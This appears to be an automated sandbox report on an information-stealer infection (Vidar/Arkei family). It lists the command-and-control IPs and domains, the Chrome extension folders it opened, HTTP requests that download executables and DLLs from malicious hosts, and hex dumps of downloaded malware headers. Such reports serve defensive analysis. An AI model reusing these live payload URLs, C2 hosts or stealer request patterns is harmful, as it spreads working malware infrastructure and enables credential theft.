Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.11:443 -> 192.168.2.5:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.15:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.11:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.203.237:443 -> 192.168.2.5:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.11:443 -> 192.168.2.5:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.203.237:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.5:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.190.72:443 -> 192.168.2.5:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.248.232.78:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.248.232.78:443 -> 192.168.2.5:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.14.219:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.91.13.105:443 -> 192.168.2.5:49895 version: TLS 1.2

Source:	Binary string: C:\hatisicovapehe\p.pdb source: 2997.exe, 2997.exe, 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, 2997.exe, 00000011.00000000.353771272.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\vuyeguw\zofaxekax.pdb source: nkINykHreE.exe, nkINykHreE.exe, 00000000.00000000.237076372.0000000000401000.00000020.00020000.sdmp, nkINykHreE.exe, 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, nkINykHreE.exe, 00000001.00000000.241917269.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000D.00000002.340276141.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000D.00000000.331309043.0000000000401000.00000020.00020000.sdmp, 115B.exe, 0000000E.00000000.333118920.0000000000401000.00000020.00020000.sdmp, 115B.exe, 0000000E.00000002.341669958.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000F.00000000.337510866.0000000000401000.00000020.00020000.sdmp, 115B.exe, 00000010.00000000.338143119.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\gilos\ye.pdb source: 18D.exe, 00000012.00000002.391234957.0000000000782000.00000004.00000001.sdmp, 18D.exe, 00000012.00000000.365358490.0000000000401000.00000020.00020000.sdmp, sdiimdop.exe, 0000001F.00000000.391356677.0000000000401000.00000020.00020000.sdmp, svchost.exe, 00000022.00000003.465105222.0000000003258000.00000004.00000001.sdmp
Source:	Binary string: i6`C:\vuyeguw\zofaxekax.pdbhQD source: nkINykHreE.exe, 00000000.00000000.237076372.0000000000401000.00000020.00020000.sdmp, nkINykHreE.exe, 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, nkINykHreE.exe, 00000001.00000000.241917269.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000D.00000002.340276141.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000D.00000000.331309043.0000000000401000.00000020.00020000.sdmp, 115B.exe, 0000000E.00000000.333118920.0000000000401000.00000020.00020000.sdmp, 115B.exe, 0000000E.00000002.341669958.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000F.00000000.337510866.0000000000401000.00000020.00020000.sdmp, 115B.exe, 00000010.00000000.338143119.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: kJC:\tozeroc-watege99_zaga\vifalaro.pdb source: 4187.exe, 0000002A.00000003.446573203.0000000000CB0000.00000004.00000001.sdmp
Source:	Binary string: ZC:\gilos\ye.pdbhQD source: 18D.exe, 00000012.00000002.391234957.0000000000782000.00000004.00000001.sdmp, 18D.exe, 00000012.00000000.365358490.0000000000401000.00000020.00020000.sdmp, sdiimdop.exe, 0000001F.00000000.391356677.0000000000401000.00000020.00020000.sdmp, svchost.exe, 00000022.00000003.465105222.0000000003258000.00000004.00000001.sdmp
Source:	Binary string: VC:\hatisicovapehe\p.pdb source: 2997.exe, 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, 2997.exe, 00000011.00000000.353771272.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\tozeroc-watege99_zaga\vifalaro.pdb source: 4187.exe, 0000002A.00000003.446573203.0000000000CB0000.00000004.00000001.sdmp

Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2034813 ET TROJAN Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern 192.168.2.5:49897 -> 65.108.180.72:80
Source: Traffic	Snort IDS: 2034813 ET TROJAN Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern 192.168.2.5:49898 -> 116.202.186.120:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 194.87.235.183 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 40.93.207.1 25
Source: C:\Windows\explorer.exe	Domain query: bitly.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: amogohuigotuli.at
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: f0616068.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: unic11m.top
Source: C:\Windows\explorer.exe	Domain query: vk.com
Source: C:\Windows\explorer.exe	Domain query: www.mediafire.com
Source: C:\Windows\explorer.exe	Domain query: natribu.org
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Domain query: srtuiyhuali.at
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: fufuiloirtu.com
Source: C:\Windows\explorer.exe	Domain query: bit.ly
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Source: global traffic	HTTP traffic detected: GET /POeNDXYchB.php HTTP/1.1Host: 185.7.214.239Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 185.7.214.239Cache-Control: no-cacheCookie: PHPSESSID=9tonum6b55n3ncs7ru7lrdrlt3
Source: global traffic	HTTP traffic detected: POST /706 HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 65.108.180.72Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST /408 HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 116.202.186.120Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.180.72Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.180.72Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.180.72Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.180.72Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /POeNDXYchB.php HTTP/1.1Content-Type: multipart/form-data; boundary=----2N7Y5F3OHDJMYUAIHost: 185.7.214.239Content-Length: 120040Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=9tonum6b55n3ncs7ru7lrdrlt3
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /lava.exe HTTP/1.1Host: f0616071.xsph.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Music.exe HTTP/1.1Host: f0616073.xsph.ruConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:47 GMTContent-Type: application/x-msdos-programContent-Length: 343040Connection: closeLast-Modified: Tue, 04 Jan 2022 18:32:02 GMTETag: "53c00-5d4c5da79a842"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d2 e4 eb a6 96 85 85 f5 96 85 85 f5 96 85 85 f5 88 d7 10 f5 84 85 85 f5 88 d7 06 f5 ee 85 85 f5 b1 43 fe f5 95 85 85 f5 96 85 84 f5 52 85 85 f5 88 d7 01 f5 d6 85 85 f5 88 d7 11 f5 97 85 85 f5 88 d7 14 f5 97 85 85 f5 52 69 63 68 96 85 85 f5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 0e 28 83 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 40 04 00 00 08 02 00 00 00 00 00 10 2e 02 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 06 00 00 04 00 00 e2 14 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 3d 04 00 28 00 00 00 00 c0 05 00 60 8d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 38 23 00 00 60 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 a7 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9e 3e 04 00 00 10 00 00 00 40 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 25 01 00 00 50 04 00 00 16 00 00 00 44 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 65 6b 75 76 6f 78 05 00 00 00 00 80 05 00 00 02 00 00 00 5a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 75 74 75 00 00 00 4b 00 00 00 00 90 05 00 00 02 00 00 00 5c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 65 7a 65 76 00 00 ea 00 00 00 00 a0 05 00 00 02 00 00 00 5e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 75 62 6f 6e 65 00 93 0d 00 00 00 b0 05 00 00 0e 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 60 8d 00 00 00 c0 05 00 00 8e 00 00 00 6e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 84 3e 00 00 00 50 06 00 00 40 00 00 00 fc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:53 GMTContent-Type: application/x-msdos-programContent-Length: 358912Connection: closeLast-Modified: Mon, 03 Jan 2022 22:00:28 GMTETag: "57a00-5d4b4a60838eb"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6b 91 a1 53 2f f0 cf 00 2f f0 cf 00 2f f0 cf 00 31 a2 5a 00 3d f0 cf 00 31 a2 4c 00 57 f0 cf 00 08 36 b4 00 2a f0 cf 00 2f f0 ce 00 ee f0 cf 00 31 a2 4b 00 10 f0 cf 00 31 a2 5b 00 2e f0 cf 00 31 a2 5e 00 2e f0 cf 00 52 69 63 68 2f f0 cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 74 f1 e5 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 3c 04 00 00 4a 02 00 00 00 00 00 c0 34 02 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 41 c1 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2c 39 04 00 3c 00 00 00 00 30 06 00 f8 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 06 00 14 23 00 00 50 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a6 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 3a 04 00 00 10 00 00 00 3c 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 60 9a 01 00 00 50 04 00 00 8c 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 61 6d 69 63 61 6b 05 00 00 00 00 f0 05 00 00 02 00 00 00 cc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 6f 73 00 00 00 00 4b 00 00 00 00 00 06 00 00 02 00 00 00 ce 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 6f 64 61 76 00 00 ea 00 00 00 00 10 06 00 00 02 00 00 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 75 67 69 72 6f 66 93 0d 00 00 00 20 06 00 00 0e 00 00 00 d2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 59 00 00 00 30 06 00 00 5a 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 a2 3e 00 00 00 90 06 00 00 40 00 00 00 3a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 04 Jan 2022 18:33:29 GMTServer: Apache/2.4.18 (Ubuntu)Last-Modified: Tue, 04 Jan 2022 10:19:11 GMTETag: "16db40-5d4bef7dfbaec"Accept-Ranges: bytesContent-Length: 1497920Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 13 aa cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2e 01 00 00 48 06 00 00 00 00 00 00 60 2a 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 2b 00 00 04 00 00 01 5e 17 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 90 25 00 50 01 00 00 00 a0 25 00 00 bd 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 72 65 6c 6f 63 00 00 00 80 25 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 69 74 65 78 74 00 00 00 10 00 00 00 90 25 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 bd 04 00 00 a0 25 00 69 bb 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 64 61 74 61 00 00 00 80 01 00 00 60 2a 00 7d 7d 01 00 00 c2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:36 GMTContent-Type: application/x-msdos-programContent-Length: 760832Connection: closeLast-Modified: Sun, 02 Jan 2022 14:19:12 GMTETag: "b9c00-5d49a1695789b"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7a 38 7e 52 3e 59 10 01 3e 59 10 01 3e 59 10 01 20 0b 85 01 2c 59 10 01 20 0b 93 01 46 59 10 01 19 9f 6b 01 3b 59 10 01 3e 59 11 01 80 59 10 01 20 0b 94 01 7e 59 10 01 20 0b 84 01 3f 59 10 01 20 0b 81 01 3f 59 10 01 52 69 63 68 3e 59 10 01 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 2e e4 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 6c 0a 00 00 3c 02 00 00 00 00 00 80 67 08 00 00 10 00 00 00 80 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 48 00 00 04 00 00 65 d4 0b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 6a 0a 00 3c 00 00 00 00 30 0c 00 b0 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 23 00 00 40 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 a3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cc 6a 0a 00 00 10 00 00 00 6c 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 9a 01 00 00 80 0a 00 00 8c 00 00 00 70 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 6f 68 61 63 00 00 05 00 00 00 00 20 0c 00 00 02 00 00 00 